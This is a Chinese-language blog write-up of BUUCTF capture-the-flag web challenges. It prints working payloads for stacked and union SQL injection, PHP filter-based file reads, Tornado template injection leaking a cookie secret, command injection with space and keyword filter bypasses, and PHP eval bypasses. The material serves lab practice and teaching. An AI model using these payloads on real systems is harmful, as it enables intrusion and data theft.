buuctf部分題目wp

goddemon發表於2020-10-23

EasySQL

①測試返回的頁面狀況特點類
發覺存在三種頁面–>即返回為no的即為過濾掉的
在這裡插入圖片描述
在這裡插入圖片描述
在這裡插入圖片描述

②測試了下發覺show,select,;語句沒有被過濾
from類語句被過濾掉了
即可以考慮是否是堆疊注入
測試了幾個

1;select database();
1;show databases;
1;show tables;

在這裡插入圖片描述
找到了名字為Flag的表
嘗試直接利用*直接注入返回出
發覺也沒有辦法返回出

無奈查大佬們的wp
發覺後臺的查詢語句可能是這樣的,即*|跟其代用時,會直接被註釋掉

sql = "select $_POST['query'] | col_xxx from table_xxx";

於是構造
*,1(使1和|做邏輯運算)
從而爆出flag
在這裡插入圖片描述

極客大挑戰EasySQL


嗯。。。這題我是很迷的
我直接進去反手一個萬能密碼 然後就進去了,就拿到flag了
在這裡插入圖片描述

極客大挑戰 2019 Havefun

進入網頁
在這裡插入圖片描述
然後檢視原始碼
在這裡插入圖片描述
然後直接構造一下引數即得到flag

[極客大挑戰 2019]Secret File

在這裡插入圖片描述
檢視原始碼發覺一些跳轉
然後經過抓包類後發覺一個secr3t.php檔案
然後分析

看到file與include,直接偽協議讀取檔案走人

file=php://filter/convert.base64-encode/resource=flag.php

在這裡插入圖片描述
最後解密下,獲得flag
在這裡插入圖片描述

[ACTF2020 新生賽]Include

看標題感覺又是跟偽協議相關的題
在這裡插入圖片描述

然後進去點選後發覺果然是
在這裡插入圖片描述
構造偽協議直接讀取就完事
在這裡插入圖片描述
在這裡插入圖片描述

[護網杯 2018]easy_tornado

進入後發覺三個檔案
第一個檔案提示資訊
在這裡插入圖片描述
welcome中提示提交

在這裡插入圖片描述
hints檔案中提示md5加密狀況特點類
在這裡插入圖片描述
思路大概有了
MD5一個檔案hash值後進行提交引數進行讀取flag

即將檔案fllllllllllllag進行MD5加密

3bf9f6cf685a6dd8defadabfb41a03a1

然後在獲取cookie_serect
本來最開始想直接抓取cookie值,但是發覺並沒有
於是只能從這3個檔案以及他們的hash值進行入手拿到cookie_serect值了

然後在這裡卡了一下,實在找不到辦法破解cookie_serect的值
於是直接傳檔名過去看看
發覺爆這個,且頁面上和引數是一樣,懷疑是模板注入
在這裡插入圖片描述
於是直接利用模板注入
傳參–>

error?msg={{handler.settings}}

成功獲取到cookie_secret
e88c21a0-1cd1-4bbf-a0e8-202bd49569af
即完整的
b4310a67dc7123c7d066d22983b39b2d–>即filehash
最後構造payload即可成功獲得flag

在這裡插入圖片描述

[極客大挑戰 2019]LoveSQL

①反手一套萬能密碼弄進去
然後獲取到了管理員的hash密碼
但是試了下解不了密碼
在這裡插入圖片描述
然後也沒有flag啊
有意思
返回去看一看
在這裡插入圖片描述
好傢伙,懷疑是存在資料庫中的,就是防止萬能密碼這種情況
在這裡插入圖片描述
進行注入後發覺爆錯爆在了password中 於是在password中進行注入
輸入 1’
根據返回回來的錯誤發覺是字元型注入
在這裡插入圖片描述

然後使用聯合注入

' union select 1,database(),3 #

發覺返回的是很奇怪的東西–>即註釋#符號沒有起到作用
在這裡插入圖片描述
後面發覺是該編碼符號沒有進行url編碼導致的問題
將#改成%23即完成了效果

ok 成功可以進行注入了
所以就到了愉快的union注入時間了
最後獲得到flag

flag{045996c1-1617-4ff4-b994-a79f4ab2070b}

總結:萬能密碼雖好,但是如果密碼在資料庫裡面的話是沒有靈魂的

[GXYCTF2019]Ping Ping Ping

開啟後即發覺一個引數進行最開始隨便傳了幾個值,發覺都在頁面上顯示
還以為是模板注入
後面發覺並不是這樣的,只有傳入的是數字之類的才顯示其他的都顯示固定的引數
所以排除模板注入

在這裡插入圖片描述
又因為題目給了ping這個提示,所以有點懷疑是rce命令執行
於是構造拼接命令進行檢視檔案
典型兩種拼接命令模式
第一種利用|進行拼接–>如127.0.0.1|ls
第二種利用;直接進行拼接 如–>ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

三種典型的執行方式

#①命令執行變數拼接
/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
#②過濾bash用sh執行
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
#③內聯執行
將反引號內命令的輸出作為輸入執行
?ip=127.0.0.1;cat$IFS$9`ls`
127.0.0.1|ls

在這裡插入圖片描述
嘗試直接讀取flag
返回為空格被ban
即來到了繞空格的路上

在這裡插入圖片描述

$IFS
${IFS}//即{}可以改成$1
$IFS$1 //$1改成$加其他數字貌似都行
< 
<> 
{cat,flag.php}  //用逗號實現了空格功能
%20 
%09 

如構造payload
?ip=127.0.0.1;cat$IFS$1index.php

在這裡插入圖片描述
三個過濾–>空格過濾,bash過濾,flag過濾
所以只能考慮利用sh通道執行了
於是構造payload

?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

成功獲得flag
在這裡插入圖片描述

[RoarCTF 2019]Easy Calc

進入頁面後檢視原始碼
好傢伙
發覺這個製作這個環境的人很狂,然後也獲得了這個算式的原理
在這裡插入圖片描述
即只能傳入數字(如果傳入的是字元,則會爆錯狀況特點)

可能考慮是利用數字進行繞進而獲取到flag
但是基於考慮的想法–>還是去掃描了下目錄,發覺確實沒有什麼好掃描的東西了
確定是這個思路了
就是繞這個判斷從而獲取到flag
於是去到了一個檔案中–>即注意可以當檔案中存在另外一個頁面時,典型檢視過去

在這裡插入圖片描述
發覺這個引數num瘋狂被過濾
玩不了,玩不下去了
檢視大佬們的wp
發覺php檔案的解析規程是
如果前面有空格會直接把空格去掉在進行解析

於是可以構造payload進行讀取flag與目錄

? num=1;var_dump(scandir(chr(47)))#讀取目錄
? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
#即利用ASCII碼進行繞讀取目錄狀況特點類

最後獲取到flag
在這裡插入圖片描述

會持續更新下去